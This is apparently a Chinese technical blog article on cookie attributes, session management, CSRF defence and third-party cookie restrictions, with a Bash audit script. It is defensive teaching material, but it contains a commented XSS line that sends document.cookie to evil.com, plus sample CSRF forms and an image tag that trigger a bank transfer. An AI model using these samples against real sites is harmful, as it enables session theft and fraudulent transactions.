土法炼钢兴趣小组的算法知识备份

【网络工程】Cookie 与 Session 工程:安全属性与现代限制

文章导航

分类入口
network
标签入口
#cookies#session#samesite#csrf#http-security

目录

Cookie 是 HTTP 协议中唯一的内置状态管理机制。从 1994 年 Netscape 发明 Cookie 到今天,它承载了用户认证、会话追踪、个性化设置等几乎所有需要在无状态的 HTTP 上维护状态的需求。但 Cookie 也是 Web 安全的高危区——XSS 窃取、CSRF 攻击、隐私追踪——每一个安全漏洞的背后都与 Cookie 的设计细节相关。

本文从工程师视角系统剖析 Cookie 的每一个属性、安全含义和现代限制,覆盖第三方 Cookie 消亡后的替代方案和 CSRF 防护的当前最佳实践。

# 服务端通过 Set-Cookie 响应头设置 Cookie
HTTP/2 200 OK
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Set-Cookie: tracking=xyz789; Domain=.example.com; Path=/; Secure; SameSite=None

# 客户端在后续请求中自动携带匹配的 Cookie
GET /api/profile HTTP/2
Cookie: session_id=abc123; theme=dark; tracking=xyz789
限制 规范要求 实际浏览器实现
单个 Cookie 大小 ≥4096 字节 ~4096 字节
每个域名 Cookie 数量 ≥50 个 50-180 个
所有 Cookie 总大小 无规范 ~80-180 KB
# 检查 Cookie 大小
curl -sI https://example.com | grep -i set-cookie | wc -c

# 当 Cookie 超过限制时,浏览器会静默丢弃旧 Cookie
# 没有错误提示,这使得 Cookie 丢失问题很难调试

每个 HTTP 请求都会携带该域名下的所有 Cookie。对于一个典型的网站:

Cookie 大小: ~2 KB
每次页面加载的 HTTP 请求数: ~100
Cookie 流量: 2 KB × 100 = 200 KB(上行)

对移动网络(上行带宽有限)的影响:
  4G 上行 ~5 Mbps: 200 KB × 8 / 5 Mbps = 320 ms 额外延迟

缓解策略:

1. 静态资源使用无 Cookie 域名
   # 主站: example.com(携带 Cookie)
   # 静态资源: static.example.com 或 cdn.example.com(不设 Cookie)
   # 确保 Domain 属性不包含静态域名

2. 减少 Cookie 数量和大小
   # 不要在 Cookie 中存储大量数据
   # 使用服务端 Session,Cookie 只存 Session ID

3. 使用 HTTP/2 HPACK 压缩
   # HPACK 会自动压缩重复的 Cookie 头
   # HTTP/2 下 Cookie 的额外开销显著降低

二、Cookie 属性完整解析

2.1 Domain 属性

Domain 属性指定哪些域名可以接收这个 Cookie:

# 不设置 Domain:只匹配精确域名(不含子域名)
Set-Cookie: session=abc; Path=/
# 只有 www.example.com 发送的请求会携带
# sub.example.com 不会携带

# 设置 Domain:匹配指定域名及其所有子域名
Set-Cookie: session=abc; Domain=example.com; Path=/
# example.com、www.example.com、api.example.com 都会携带
# 注意:浏览器会自动添加前导点 .example.com

# 安全限制:
# 1. 不能设置非当前域名的 Cookie
#    在 a.com 上不能设置 Domain=b.com 的 Cookie
# 2. 不能设置公共后缀的 Cookie
#    不能设置 Domain=.com 或 Domain=.co.uk
#    浏览器使用 Public Suffix List (PSL) 判断

Domain 的工程陷阱

# 子域名 Cookie 泄漏
# 场景:主站 www.example.com 设置了 Domain=.example.com 的 Cookie
# 结果:第三方托管的 blog.example.com 也能访问这个 Cookie

# 解决方案:
# 1. 敏感 Cookie 不设置 Domain(只匹配精确域名)
# 2. 使用不同的顶级域名隔离不同服务
#    主站: example.com
#    内部工具: example-internal.com

2.2 Path 属性

# Path 限制 Cookie 的 URL 路径范围
Set-Cookie: admin_token=xyz; Path=/admin
# 只有 /admin 及其子路径的请求会携带
# /admin、/admin/users、/admin/settings → 携带
# /、/api、/public → 不携带

# 注意:Path 不是安全边界!
# 同域名下的 JavaScript 可以通过 iframe 或 fetch 读取其他路径的 Cookie
# 不要依赖 Path 做访问控制

2.3 Secure 属性

# Secure: Cookie 只在 HTTPS 请求中发送
Set-Cookie: session=abc; Secure
# HTTP 请求不会携带这个 Cookie
# 防止 Cookie 在不安全的网络传输中被窃取

# 实际影响:
# 1. HTTP → HTTPS 重定向时:HTTP 请求不携带 Secure Cookie
# 2. 混合内容(Mixed Content): HTTP 子资源请求不携带 Secure Cookie
# 3. localhost 例外:大多数浏览器在 localhost 上允许 HTTP 设置 Secure Cookie

# 最佳实践:所有敏感 Cookie 都应该设置 Secure

2.4 HttpOnly 属性

# HttpOnly: 禁止 JavaScript 访问 Cookie
Set-Cookie: session=abc; HttpOnly
# document.cookie 无法读取此 Cookie
# 只有 HTTP 请求头中可以看到

# 防御 XSS 窃取 Cookie:
# 攻击场景(没有 HttpOnly):
#   <script>
#     fetch('https://evil.com/steal?cookie=' + document.cookie)
#   </script>
# → session Cookie 被发送到攻击者服务器

# 有 HttpOnly:
#   document.cookie 返回空字符串(针对 HttpOnly Cookie)
#   XSS 无法直接窃取 session Cookie

# 注意:HttpOnly 不能完全防御 XSS
# XSS 仍然可以以用户身份发送请求(Cookie 自动携带)
# 只是不能读取 Cookie 的值

2.5 SameSite 属性

SameSite 是 Cookie 安全的最重要进展之一。它控制 Cookie 在跨站请求中是否发送:

# SameSite=Strict: 跨站请求绝不发送 Cookie
Set-Cookie: session=abc; SameSite=Strict
# 用户从 evil.com 点击链接到 example.com → 不携带 Cookie
# 用户在 evil.com 的表单提交到 example.com → 不携带 Cookie
# 用户在地址栏输入 example.com → 携带 Cookie

# SameSite=Lax: 跨站的顶级导航(链接)发送,跨站子请求不发送
Set-Cookie: session=abc; SameSite=Lax
# 用户从 evil.com 点击链接到 example.com → ✅ 携带
# evil.com 的 <form method="POST"> 到 example.com → ❌ 不携带
# evil.com 的 <img src="example.com/api"> → ❌ 不携带
# evil.com 的 fetch("example.com/api") → ❌ 不携带

# SameSite=None: 跨站请求也发送(必须同时设置 Secure)
Set-Cookie: tracking=xyz; SameSite=None; Secure
# 允许在任何跨站场景中发送
# 必须与 Secure 配合使用(否则浏览器拒绝)

“同站”(Same-Site)的定义

同站(Same-Site): 注册域名(eTLD+1)相同
  www.example.com 和 api.example.com → 同站 ✅
  example.com 和 example.org → 跨站 ❌
  a.github.io 和 b.github.io → 跨站 ❌(github.io 是公共后缀)

同源(Same-Origin): 协议 + 域名 + 端口 完全相同
  http://example.com 和 https://example.com → 同源 ❌(协议不同)
  example.com:80 和 example.com:443 → 同源 ❌(端口不同)

# SameSite 基于"同站"判断,比"同源"更宽松

2.6 Max-Age 与 Expires

# Max-Age: Cookie 的生存时间(秒)
Set-Cookie: session=abc; Max-Age=86400
# 86400 秒 = 1 天后过期

# Expires: Cookie 的过期时间(绝对时间)
Set-Cookie: session=abc; Expires=Sun, 27 Jul 2025 00:00:00 GMT

# 两者同时存在时,Max-Age 优先(RFC 6265)

# Max-Age=0 或 Expires=过去时间: 立即删除 Cookie
Set-Cookie: session=; Max-Age=0
# 浏览器收到后立即删除名为 session 的 Cookie

# 不设置 Max-Age 和 Expires: Session Cookie(浏览器关闭后删除)
Set-Cookie: temp=xyz
# 注意:现代浏览器的"恢复会话"功能可能保留 Session Cookie

Cookie 前缀是一种安全增强机制,通过名称前缀强制 Cookie 必须满足特定条件:

# __Secure- 前缀: 必须设置 Secure 属性
Set-Cookie: __Secure-session=abc; Secure; Path=/
# 如果没有 Secure,浏览器拒绝设置

# __Host- 前缀: 必须设置 Secure,必须 Path=/,不能设置 Domain
Set-Cookie: __Host-session=abc; Secure; Path=/
# 最安全的 Session Cookie 设置方式:
# 1. 必须 HTTPS
# 2. 只限当前域名(不含子域名)
# 3. 适用于所有路径

# 错误示例(浏览器拒绝设置):
Set-Cookie: __Host-session=abc; Secure; Path=/; Domain=example.com  # ❌ 不能设 Domain
Set-Cookie: __Host-session=abc; Path=/                              # ❌ 必须 Secure
Set-Cookie: __Secure-session=abc; Path=/                            # ❌ 必须 Secure

三、Session 管理工程

3.1 服务端 Session vs 客户端 Token

┌──────────────────────────────────────────────────┐
│              服务端 Session 模式                  │
│                                                  │
│  客户端 Cookie       服务端 Session Store         │
│  ┌────────────┐     ┌─────────────────────┐     │
│  │session_id= │────→│ abc123:              │     │
│  │abc123      │     │   user_id: 42        │     │
│  └────────────┘     │   role: admin        │     │
│                     │   login_at: ...      │     │
│                     └─────────────────────┘     │
│  优点: Cookie 小、可即时失效、数据在服务端        │
│  缺点: 需要共享存储(Redis)、有状态             │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│              客户端 Token 模式(JWT)              │
│                                                  │
│  Cookie / Authorization Header                    │
│  ┌────────────────────────────────────────┐      │
│  │eyJhbGciOiJSUzI1NiJ9.                  │      │
│  │eyJ1c2VyX2lkIjo0Miwicm9sZSI6ImFkbWluIi │      │
│  │wiaWF0IjoxNjkwMDAwMDAwfQ.               │      │
│  │<signature>                              │      │
│  └────────────────────────────────────────┘      │
│  优点: 无状态、无需共享存储、可跨服务              │
│  缺点: Token 大、无法即时失效、数据在客户端        │
└──────────────────────────────────────────────────┘

3.2 Session ID 的安全要求

# Session ID 必须满足:
# 1. 足够长(至少 128 bit 随机性)
# 2. 密码学安全的随机数生成器
# 3. 不可预测

import secrets

# ✅ 安全的 Session ID 生成
session_id = secrets.token_hex(32)  # 64 字符十六进制,256 bit
# 示例: "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6a7b8c9d0e1f2a3b4c5d6a7b8c9d0e1f2"

# ❌ 不安全的做法
import random
session_id = str(random.randint(0, 1000000))  # 可预测!
session_id = hashlib.md5(str(user_id).encode()).hexdigest()  # 可推算!
// Go: 安全的 Session ID 生成
package main

import (
    "crypto/rand"
    "encoding/hex"
)

func generateSessionID() (string, error) {
    b := make([]byte, 32) // 256 bit
    _, err := rand.Read(b)
    if err != nil {
        return "", err
    }
    return hex.EncodeToString(b), nil
}

3.3 Session 存储选型

存储方式 延迟 容量 持久性 共享性 适用场景
内存(进程内) <1 μs 重启丢失 不可共享 单机开发/测试
Redis ~1 ms 可持久化 可共享 生产环境首选
Memcached ~1 ms 不持久化 可共享 纯缓存场景
数据库 ~5 ms 极大 持久化 可共享 需要审计/合规
# Redis Session 存储示例
# 设置 Session(TTL 24 小时)
redis-cli SET session:abc123 '{"user_id":42,"role":"admin"}' EX 86400

# 查询 Session
redis-cli GET session:abc123

# 删除 Session(登出)
redis-cli DEL session:abc123

# 监控 Session 存储
redis-cli INFO keyspace
# db0:keys=150000,expires=150000  # 15 万个活跃 Session

3.4 Session 固定攻击(Session Fixation)

攻击流程:
1. 攻击者访问目标网站,获得一个 Session ID: evil_session_id
2. 攻击者诱导受害者使用这个 Session ID 登录
   例如: https://example.com/login?sid=evil_session_id
3. 受害者登录后,evil_session_id 关联了受害者的身份
4. 攻击者使用 evil_session_id 访问受害者的账户

防御:登录后重新生成 Session ID
# Flask: 登录后重新生成 Session ID
from flask import session

@app.route('/login', methods=['POST'])
def login():
    user = authenticate(request.form['username'], request.form['password'])
    if user:
        # ✅ 重新生成 Session ID(防止 Session Fixation)
        session.regenerate()
        session['user_id'] = user.id
        return redirect('/dashboard')

四、CSRF 防护的现代实践

4.1 CSRF 攻击原理

跨站请求伪造(CSRF,Cross-Site Request Forgery)利用浏览器自动携带 Cookie 的行为:

<!-- evil.com 上的攻击页面 -->

<!-- 方式 1: 自动提交的表单 -->
<form action="https://bank.com/transfer" method="POST" id="f">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('f').submit();</script>

<!-- 方式 2: 图片标签(GET 请求的 CSRF) -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 用户访问 evil.com 时:
     浏览器自动携带 bank.com 的 Cookie
     bank.com 无法区分"用户主动操作"和"恶意页面触发" -->

SameSite 是目前最有效的 CSRF 防御手段。Chrome 80(2020 年 2 月)开始将未设置 SameSite 的 Cookie 默认为 Lax

# 最佳实践:Session Cookie 使用 SameSite=Lax
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400

# SameSite=Lax 防护效果:
# ✅ 阻止: POST 表单提交(evil.com → bank.com)
# ✅ 阻止: fetch/XMLHttpRequest 跨站请求
# ✅ 阻止: <img>/<iframe> 等子资源请求
# ❌ 不阻止: 用户点击链接导航到 bank.com(这是期望行为)

4.3 CSRF Token 防御

对于需要兼容旧浏览器的场景,CSRF Token 仍然是必要的补充:

<!-- 服务端在表单中嵌入 CSRF Token -->
<form action="/api/transfer" method="POST">
    <input type="hidden" name="csrf_token" 
           value="random_token_per_session_or_per_request" />
    <input type="text" name="amount" />
    <button type="submit">转账</button>
</form>
# Flask-WTF 的 CSRF 保护
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)

# 自动验证所有 POST/PUT/DELETE 请求的 CSRF Token
# Token 可以在表单或 X-CSRFToken 头中提交
原理:
1. 服务端设置一个随机 CSRF Cookie
2. 客户端在请求头或表单中提交同样的值
3. 服务端验证两者一致

为什么有效:
- 攻击者可以让浏览器发送 Cookie(自动携带)
- 但攻击者无法读取 Cookie 的值(受同源策略保护)
- 因此攻击者无法在请求头/表单中填入正确的值
// 前端: 从 Cookie 中读取 CSRF Token,放入请求头
function getCookie(name) {
    const value = document.cookie
        .split('; ')
        .find(row => row.startsWith(name + '='))
        ?.split('=')[1];
    return value;
}

fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': getCookie('csrf_token')  // 从 Cookie 读取
    },
    body: JSON.stringify({ to: 'alice', amount: 100 })
});

4.5 现代 CSRF 防护推荐策略

优先级从高到低:

1. SameSite=Lax + HTTPS(覆盖 90%+ 场景)
   Set-Cookie: __Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/

2. CSRF Token(需要支持跨站 POST 的场景)
   - Synchronizer Token Pattern
   - Double-Submit Cookie

3. Origin / Referer 检查(辅助手段)
   - 验证 Origin 头匹配预期域名
   - Referer 可以被用户禁用,不能作为唯一防线

4. Custom Request Header(API 场景)
   - 要求所有 API 请求携带自定义头(如 X-Requested-With)
   - 简单请求不能设置自定义头(触发 CORS 预检)
当用户访问 example.com 时:
  example.com 设置的 Cookie → 第一方 Cookie(First-party)
  ad-tracker.com 设置的 Cookie → 第三方 Cookie(Third-party)
  
第三方 Cookie 的来源:
  <img src="https://ad-tracker.com/pixel.gif" />     → 第三方请求
  <iframe src="https://social.com/like-button" />     → 第三方请求
  <script src="https://analytics.com/track.js" />     → 第三方请求
  
  ad-tracker.com 可以在响应中 Set-Cookie
  → 用户后续访问任何嵌入 ad-tracker.com 的网站
  → 浏览器都会携带这个 Cookie
  → ad-tracker.com 可以跨网站追踪用户

5.2 浏览器限制时间线

时间 浏览器 行动
2017.06 Safari ITP 1.0: 限制第三方 Cookie(24 小时后清除)
2019.09 Firefox ETP: 默认阻止已知追踪器的第三方 Cookie
2020.02 Chrome SameSite=Lax 默认值
2020.03 Safari ITP: 完全阻止第三方 Cookie
2024 Chrome 开始 Privacy Sandbox 测试
2025+ Chrome 逐步限制第三方 Cookie

5.3 替代方案

第三方 Cookie 消亡后,不同用例的替代方案:

1. 跨站认证(SSO):
   → OAuth 2.0 / OpenID Connect
   → 用户主动授权的重定向流程,不依赖第三方 Cookie

2. 广告归因:
   → Privacy Sandbox Attribution Reporting API
   → 浏览器本地处理归因,不暴露跨站身份

3. 跨站状态共享(企业内部):
   → Related Website Sets (RWS)
   → 声明相关域名集合,允许有限的 Cookie 共享

4. 嵌入式内容(iframe 中的登录):
   → Storage Access API
   → 用户授权后允许 iframe 访问自己的第一方 Cookie

5. 用户行为分析:
   → Topics API(替代 FLoC)
   → 浏览器本地计算兴趣主题,不暴露浏览历史

5.4 Storage Access API

// 嵌入在 iframe 中的第三方页面请求 Cookie 访问
// 需要用户手势(如点击按钮)触发

document.getElementById('login-btn').addEventListener('click', async () => {
    // 检查是否已有存储访问权限
    const hasAccess = await document.hasStorageAccess();
    
    if (!hasAccess) {
        // 请求存储访问权限(会弹出浏览器提示)
        try {
            await document.requestStorageAccess();
            console.log('用户授权了 Cookie 访问');
            // 现在可以在 iframe 中访问第一方 Cookie
        } catch (err) {
            console.log('用户拒绝了 Cookie 访问');
        }
    }
    
    // 有权限后,Cookie 正常工作
    const resp = await fetch('/api/profile', { credentials: 'include' });
});

六、Cookie 与隐私合规

<!-- Cookie 同意横幅(GDPR 要求) -->
<!-- 要求:
     1. 首次访问时不设置非必要 Cookie
     2. 用户明确同意后才能设置追踪/分析 Cookie
     3. 用户可以随时撤回同意
     4. "拒绝"必须和"接受"一样容易 -->
Cookie 分类(按 GDPR):

1. 必要 Cookie(Strictly Necessary)
   - 例如: session_id、csrf_token、language preference
   - 无需用户同意
   - 不能是追踪 Cookie

2. 功能 Cookie(Functional)
   - 例如: 记住登录状态、用户偏好
   - 需要用户同意

3. 分析 Cookie(Analytics)
   - 例如: Google Analytics _ga、_gid
   - 需要用户同意

4. 广告/追踪 Cookie(Marketing/Tracking)
   - 例如: Facebook Pixel、Google Ads
   - 需要用户同意
// Cookie 同意管理的最小实现
const CONSENT_COOKIE = '__cookie_consent';

function setConsent(categories) {
    // 存储用户的同意选择
    document.cookie = `${CONSENT_COOKIE}=${JSON.stringify(categories)}; ` +
        `path=/; max-age=${365 * 86400}; secure; samesite=lax`;
    
    // 根据同意选择加载对应的脚本
    if (categories.analytics) {
        loadAnalytics();
    }
    if (categories.marketing) {
        loadMarketing();
    }
}

function getConsent() {
    const cookie = document.cookie
        .split('; ')
        .find(row => row.startsWith(CONSENT_COOKIE + '='));
    return cookie ? JSON.parse(cookie.split('=')[1]) : null;
}

// 页面加载时检查同意状态
const consent = getConsent();
if (consent === null) {
    showConsentBanner();  // 首次访问,显示同意横幅
} else {
    if (consent.analytics) loadAnalytics();
    if (consent.marketing) loadMarketing();
}

七、Cookie 安全检查清单

# Session Cookie(最安全配置)
Set-Cookie: __Host-session=<random>; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400

# 各属性的作用:
# __Host-     → 强制 Secure + Path=/ + 无 Domain
# Secure      → 仅 HTTPS
# HttpOnly    → 禁止 JavaScript 访问
# SameSite=Lax → 阻止跨站 POST/子资源请求
# Path=/      → 全站可用
# Max-Age     → 明确过期时间(不依赖浏览器关闭)

# 记住我(Remember Me)Cookie
Set-Cookie: __Secure-remember=<token>; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=2592000

# 用户偏好(非敏感)
Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax
# 不需要 HttpOnly(JavaScript 需要读取)
# 不需要 Secure(非敏感数据)

7.2 安全审计脚本

#!/bin/bash
# cookie_audit.sh - 检查网站 Cookie 安全设置

URL="${1:-https://example.com}"
echo "=== Cookie Security Audit: $URL ==="

cookies=$(curl -sI "$URL" | grep -i "set-cookie")

if [ -z "$cookies" ]; then
    echo "No cookies set."
    exit 0
fi

echo "$cookies" | while IFS= read -r line; do
    echo ""
    echo "Cookie: $line"
    
    # 检查 Secure 属性
    if echo "$line" | grep -qi "secure"; then
        echo "  ✅ Secure: Yes"
    else
        echo "  ❌ Secure: No (Cookie may be sent over HTTP)"
    fi
    
    # 检查 HttpOnly 属性
    if echo "$line" | grep -qi "httponly"; then
        echo "  ✅ HttpOnly: Yes"
    else
        echo "  ⚠️  HttpOnly: No (accessible via JavaScript)"
    fi
    
    # 检查 SameSite 属性
    if echo "$line" | grep -qi "samesite=strict"; then
        echo "  ✅ SameSite: Strict"
    elif echo "$line" | grep -qi "samesite=lax"; then
        echo "  ✅ SameSite: Lax"
    elif echo "$line" | grep -qi "samesite=none"; then
        echo "  ⚠️  SameSite: None (cross-site allowed)"
    else
        echo "  ⚠️  SameSite: Not set (defaults to Lax in modern browsers)"
    fi
    
    # 检查 __Host- 或 __Secure- 前缀
    if echo "$line" | grep -q "__Host-"; then
        echo "  ✅ Prefix: __Host- (maximum security)"
    elif echo "$line" | grep -q "__Secure-"; then
        echo "  ✅ Prefix: __Secure-"
    fi
done

7.3 常见安全错误

# ❌ 错误 1: Session Cookie 没有 HttpOnly
Set-Cookie: session=abc123; Path=/
# XSS 可以直接窃取 session

# ❌ 错误 2: 敏感 Cookie 没有 Secure
Set-Cookie: session=abc123; HttpOnly; Path=/
# HTTP 明文传输可被中间人窃取

# ❌ 错误 3: SameSite=None 但没有 Secure
Set-Cookie: tracking=xyz; SameSite=None
# 现代浏览器会拒绝设置

# ❌ 错误 4: Domain 设置过于宽泛
Set-Cookie: session=abc123; Domain=.example.com; HttpOnly; Secure
# 所有子域名都能访问 session Cookie
# 如果某个子域名被攻破,session 也会泄露

# ✅ 正确: 使用 __Host- 前缀
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/

八、Cookie 调试实战

8.1 浏览器调试

Chrome DevTools:
1. Application → Cookies → 查看/编辑/删除 Cookie
2. Network → 请求详情 → Cookies 标签 → 查看发送和接收的 Cookie
3. Console → document.cookie → 查看非 HttpOnly Cookie

# 常见调试场景:
# Q: 为什么 Cookie 没有发送?
# A: 检查 Domain、Path、Secure、SameSite 是否匹配

# Q: 为什么 Set-Cookie 没有生效?
# A: 检查 Chrome DevTools → Issues 面板中的 Cookie 警告
#    常见原因: SameSite=None 缺少 Secure、跨站请求被 SameSite=Lax 阻止

8.2 curl 调试

# 查看服务端设置的 Cookie
curl -v https://example.com 2>&1 | grep -i "set-cookie"

# 带 Cookie 发送请求
curl -b "session=abc123; theme=dark" https://example.com/api/profile

# 保存和发送 Cookie(模拟浏览器会话)
curl -c cookies.txt https://example.com/login      # 保存 Cookie
curl -b cookies.txt https://example.com/dashboard   # 发送 Cookie

# 查看 Cookie 文件
cat cookies.txt
# 格式: domain  flag  path  secure  expiry  name  value

九、总结

Cookie 工程的核心要点:

  1. 安全配置是默认选择。Session Cookie 应该始终使用 __Host-session=<value>; Secure; HttpOnly; SameSite=Lax; Path=/。这不是过度防御,而是正确的基线。

  2. SameSite=Lax 是当前最有效的 CSRF 防御。它覆盖了大部分攻击场景,同时不影响正常的用户体验(点击链接仍然能登录)。但对于高安全要求的场景(如金融),仍然建议补充 CSRF Token。

  3. 第三方 Cookie 正在消亡。如果你的业务依赖第三方 Cookie(跨站追踪、嵌入式登录),需要迁移到替代方案(Storage Access API、OAuth、Privacy Sandbox)。

  4. Cookie 大小影响性能。特别是在移动网络环境下,过大的 Cookie 会显著增加请求延迟。静态资源应该使用无 Cookie 的域名。

  5. Cookie 不是安全边界。Path 不能做访问控制,Domain 不能做隔离。真正的安全边界是同源策略(Same-Origin Policy)。Cookie 的安全属性(Secure、HttpOnly、SameSite)是补充措施,不是替代品。


参考文献


上一篇:HTTP 缓存工程:Cache-Control 全景与条件请求

下一篇:HTTP 压缩与传输编码:gzip、Brotli 与 zstd 工程选型

同主题继续阅读

把当前热点继续串成多页阅读,而不是停在单篇消费。

2025-08-04 · network

【网络工程】QUIC 生态与工程部署:从实验到生产

QUIC 已经不是实验性协议——HTTP/3 标准化后,CDN、浏览器和主流服务端框架都在推进 QUIC 支持。本文从工程视角对比主流 QUIC 库的成熟度和性能特征,讲解 CDN/负载均衡器的 QUIC 适配方案、从 TCP 迁移到 QUIC 的渐进路径、QUIC 调试工具链,以及生产环境的部署陷阱和性能调优实践。

2025-08-05 · network

【网络工程】eBPF 可编程网络:从包过滤到流量工程

eBPF 正在重新定义网络工程——从传统的 iptables/netfilter 规则堆砌,到可编程、可观测、高性能的网络数据平面。本文系统讲解 eBPF 网络程序类型(XDP/TC/Socket)、Map 数据结构、Cilium 的 eBPF 数据平面实现,以及 eBPF 在负载均衡、可观测性和网络安全中的工程实践。

2025-08-06 · network

【网络工程】可编程数据平面与 P4:软件定义转发

传统网络设备的转发逻辑固化在硬件中。P4 语言让交换机的转发管线可编程——你可以定义自己的包头解析、匹配规则和转发动作。本文从 P4 语言核心概念出发,讲解 Parser/Match-Action/Deparser 的编程模型、可编程交换机芯片(Tofino)的架构、P4 在数据中心和运营商网络中的应用案例,以及 P4 与 eBPF 的定位差异。


By .